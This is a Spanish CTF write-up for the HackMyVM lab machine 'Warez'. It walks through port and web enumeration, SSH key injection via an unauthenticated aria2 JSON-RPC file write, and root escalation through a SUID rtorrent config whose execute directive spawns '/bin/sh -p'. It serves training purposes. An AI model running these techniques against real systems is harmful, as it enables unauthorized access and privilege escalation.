cd ~/blog

~/writeups/hmv/079-warez.md

079 - Warez

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Unauthenticated aria2 JSON-RPCArbitrary File WriteSSH Authorized Keys InjectionSUID Binary Abuse
hackmyvm.eu/machines/machine.php?vm=Warez

~1 min de lectura


Enumeración de servicios

El escaneo revela SSH, una interfaz web de Aria2 y su servicio JSON-RPC en el puerto 6800. La exposición de RPC es especialmente relevante porque permite controlar las descargas y su ubicación en el sistema de archivos:

❯ sudo nmap -p- -sS -n -Pn -oG 01-allPorts 192.168.1.55
❯ nmap -sCV -p22,80,6800 -oN 02-targeted.txt 192.168.1.55
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-22 14:30 -04
Nmap scan report for 192.168.1.55
Host is up (0.00027s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
|   3072 cc:00:63:dd:49:fb:1c:c7:ac:69:63:bc:05:1a:59:cd (RSA)
|   256 9b:19:49:25:eb:9c:60:c5:2b:ec:2a:d4:fd:d1:c2:f4 (ECDSA)
|_  256 41:16:e6:d0:a0:da:22:4f:07:3f:c8:cf:60:2c:02:79 (ED25519)
80/tcp   open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Aria2 WebUI
6800/tcp open  http    aria2 downloader JSON-RPC
|_http-title: Site doesn't have a title.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.81 seconds

Enumeración web

Buscamos archivos y rutas adicionales en la interfaz web:

❯ gobuster dir -u 'http://192.168.1.55' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,gif,png,sql,sh,pdf -r
...
/result.txt           (Status: 200) [Size: 1585]
...

result.txt contiene una captura de procesos. La línea de aria2c revela que el servicio se ejecuta como carolina y escucha RPC en todas las interfaces:

...
carolina     395  0.0  1.4  56736 14464 ?        S    02:42   0:00 aria2c --enable-rpc --rpc-listen-all
...

Arbitrary File Write mediante aria2

La API JSON-RPC no exige autenticación y permite indicar tanto la URL que se descargará como el directorio y el nombre de destino. Esto proporciona Arbitrary File Write dentro de las rutas que puede modificar el proceso aria2c. Servimos nuestra clave pública desde el equipo atacante y ordenamos guardarla como /home/carolina/.ssh/authorized_keys. Como el proceso pertenece a carolina, puede escribir en su directorio .ssh; después OpenSSH acepta la clave privada asociada:

❯ ssh carolina@192.168.1.55 -i id_rsa_carolina
Enter passphrase for key 'id_rsa_carolina': 1234
Linux warez 5.10.0-8-amd64 #1 SMP Debian 5.10.46-4 (2021-08-03) x86_64
...
carolina@warez:~$

La sesión permite recuperar la primera flag.

Enumeración local

Buscamos binarios SUID y encontramos /usr/bin/rtorrent, una aplicación capaz de ejecutar comandos definidos en su configuración:

carolina@warez:~$ find / -perm -4000 2>/dev/null
...
/usr/bin/rtorrent
...

Escalada mediante rtorrent SUID

Creamos ~/.rtorrent.rc con una directiva execute que conecta una shell privilegiada a la TTY actual. Este es un caso de SUID Binary Abuse: rtorrent carga una configuración controlada por carolina después de iniciarse con EUID root. La opción -p evita que /bin/sh descarte ese privilegio:

carolina@warez:~$ echo "execute = /bin/sh,-p,-c,\"/bin/sh -p <$(tty) >$(tty) 2>$(tty)\"" >~/.rtorrent.rc
carolina@warez:~$ cat .rtorrent.rc
execute = /bin/sh,-p,-c,"/bin/sh -p </dev/pts/1 >/dev/pts/1 2>/dev/pts/1"
carolina@warez:~$ rtorrent

root

whoami confirma la escalada. Recuperamos la flag final y damos por completada la máquina.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados